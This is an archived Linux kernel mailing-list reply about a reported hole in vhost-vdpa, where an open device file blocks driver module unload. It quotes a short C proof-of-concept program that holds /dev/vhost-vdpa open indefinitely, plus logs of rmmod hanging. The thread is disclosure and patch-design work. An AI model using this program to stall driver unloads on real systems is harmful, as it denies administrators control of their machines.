All of lore.kernel.org
 help / color / mirror / Atom feed
From: "Michael S. Tsirkin" <mst@redhat.com>
To: Gautam Dawar <gdawar@xilinx.com>
Cc: Martin Petrus Hubertus Habets <martinh@xilinx.com>,
	Harpreet Singh Anand <hanand@xilinx.com>,
	"virtualization@lists.linux-foundation.org"
	<virtualization@lists.linux-foundation.org>
Subject: Re: Security hole in vhost-vdpa?
Date: Sun, 6 Jun 2021 17:38:10 -0400	[thread overview]
Message-ID: <20210606173637-mutt-send-email-mst@kernel.org> (raw)
In-Reply-To: <BY5PR02MB6980228A5EA2D021A3F9F47BB1399@BY5PR02MB6980.namprd02.prod.outlook.com>

On Sun, Jun 06, 2021 at 02:39:48PM +0000, Gautam Dawar wrote:
> Hi All,
> 
>  
> 
> This is in continuation to my findings noted in Bug 213179 and discussions we
> have had in the last couple of weeks over emails.
> 
>  
> 
> Today, I published the first patch for this issue which adds timeout based wait
> for completion event and also logs a warning message to alert the user/
> administrator of the problem.

Can't close just finish without waiting for userspace?
Then notify userspace about any buffers that did not complete ...


> As a next step, the idea is to implement a mechanism to allow vhost-vdpa module
> notify userspace app (QEMU) to close the fd corresponding to the vhost-vdpa
> character device when it is waiting for the completion event in
> vhost_vdpa_remove(). Jason confirmed this by saying that we need a new eventfd/
> ioctl to receive hot remove request from kernel.
> 
>  
> 
> Although, we can proceed to implement changes for the part described above but
> I feel that that the problem is much deeper than that. This mechanism will just
> request the userspace to close the fd and let vhost-vdpa proceed with the
> clean-up. However, IMHO things should be under more control of kernel space
> than the user space.
> 
>  
> 
> The problem I am trying to highlight is that a malicious user-space application
> can render any module registering a vDPA device to hang in their
> de-initialization sequence. This will typically surface when
> vdpa_device_unregister() is called from the function responsible for module
> unload leading rmmod commands to not return, forever.
> 
>  
> 
> To prove my point, I created a simple C program (test_vdpa.c) that opens the
> vhost-vdpa character device and never exits. The logs (test_logs.txt) show that
> after registering the vDPA device from sfc driver, vhost-vdpa module creates
> the char device /dev/vhost-vdpa-0  for it. As this is available to all apps in
> the userspace, the malicious app (./block_vdpa_unload) opens this device and
> goes to infinite sleep. At this time, when module unload (rmmod sfc) is called,
> it hangs and the following print informs the user/admin of this state with
> following message:
> 
> [ 8180.053647]  vhost-vdpa-0: vhost_vdpa_remove waiting for /dev/vhost-vdpa-0
> to be closed
> 
>  
> 
> Finally, when block_vdpa_unload is killed, vhost_vdpa_remove() unblocks and sfc
> module is unloaded.
> 
>  
> 
> With such application running in userspace, a kernel module (that registered
> corresponding vDPA device) will hang during unload sequence. Such control of
> the userspace application on the system resources should certainly be
> prevented.
> 
> To me, this seems to be a serious issue and requires modifications in the way
> it is currently handled in vhost-vdpa (and other modules (VFIO?) with similar
> implementation).
> 
> Let me know what you think.
> 
>  
> 
> Regards,
> 
> Gautam Dawar
> 

> #include <sys/stat.h>
> #include <unistd.h>
> #include <stdlib.h>
> #include <stdio.h>
> #include <fcntl.h>
> #include <errno.h>
> 
> int main(int argc, char **argv)
> {
>    unsigned int index;
>    char dev_path[30];
>    int fd;
> 
>    if (argc != 2) {
> 	   printf("Usage: %s <vhost-vdpa device index>\n", argv[0]);
> 	   return -1;
>    }
> 
>    index = strtoul(argv[1], NULL, 10);
> 
>    snprintf(dev_path, sizeof(dev_path), "/dev/vhost-vdpa-%u", index);
>    fd = open(dev_path, O_RDWR);
>    if(fd < 0)
>    {
>        printf("Failed to open %s, errno: %d!\n", dev_path, errno);
>        return 1;
>    }
> 
>    printf("Blocking unload of driver that registered vDPA device"
> 	  " corresponding to cdev %s created by vhost-vdpa\n", dev_path);
>    while (1)
> 	   sleep(1);
> 
>    close(fd);
>    return 0;
> }

> [root@ndr730p ~]# ~/create_vdpa_device.sh
> 
> [root@ndr730p ~]# ll /dev/vhost-vdpa-0
> crw------- 1 root root 240, 0 Jun  6 19:59 /dev/vhost-vdpa-0
> 
> [root@ndr730p ~]# ./block_vdpa_unload 0 &
> [1] 10930
> Blocking unload of driver that registered vDPA device corresponding to cdev /dev/vhost-vdpa-0 created by vhost-vdpa
> 
> [root@ndr730p ~]# rmmod sfc
> [ 8179.010520] sfc_ef100 0000:06:00.4: ef100_vdpa_delete: Calling vdpa unregister device
> [ 8180.053647]  vhost-vdpa-0: vhost_vdpa_remove waiting for /dev/vhost-vdpa-0 to be closed
> 
> [root@ndr730p ~]# kill -9 10930
> [ 8218.392897] sfc_ef100 0000:06:00.0: shutdown successful
> 

_______________________________________________
Virtualization mailing list
Virtualization@lists.linux-foundation.org
https://lists.linuxfoundation.org/mailman/listinfo/virtualization

       reply	other threads:[~2021-06-06 21:38 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
     [not found] <BY5PR02MB6980228A5EA2D021A3F9F47BB1399@BY5PR02MB6980.namprd02.prod.outlook.com>
2021-06-06 21:38 ` Michael S. Tsirkin [this message]
2021-06-07  2:10   ` Security hole in vhost-vdpa? Jason Wang
2021-06-10  4:30     ` Michael S. Tsirkin
2021-06-10  5:13       ` Jason Wang
     [not found]       ` <MN2PR02MB6991BB8836C3688B9EDDD136B1359@MN2PR02MB6991.namprd02.prod.outlook.com>
2021-06-10  5:59         ` Jason Wang

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20210606173637-mutt-send-email-mst@kernel.org \
    --to=mst@redhat.com \
    --cc=gdawar@xilinx.com \
    --cc=hanand@xilinx.com \
    --cc=martinh@xilinx.com \
    --cc=virtualization@lists.linux-foundation.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.